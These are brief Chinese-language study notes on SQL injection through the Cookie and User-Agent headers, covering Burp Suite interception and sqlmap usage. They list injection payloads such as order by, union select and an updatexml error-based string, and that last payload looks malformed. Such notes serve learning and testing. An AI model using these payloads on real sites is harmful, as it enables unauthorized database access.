sql注入之cookie 注入，user-agent注入

cookie 身份验证信息

页面没有正确错误显示，BP抓包，在抓包内容里面看到输入内容在cookie 里面
在cookie里面进行注入

抓包后，cookie: user=admin

注入：cookie:user =1' order by 3#

union select 1,2,3 #
sqlmap ：保存文件，参数位置加*或者指定参数-p

user-agent 注入：

BP 抓包，在user- agent 注入,页面没有正确错误回显。可以用报错注入

useragent:xxxxx 

 

闭合方式

xxx' or updatexml (1,concat(0x7e ,order by 5,0x7e),1) or '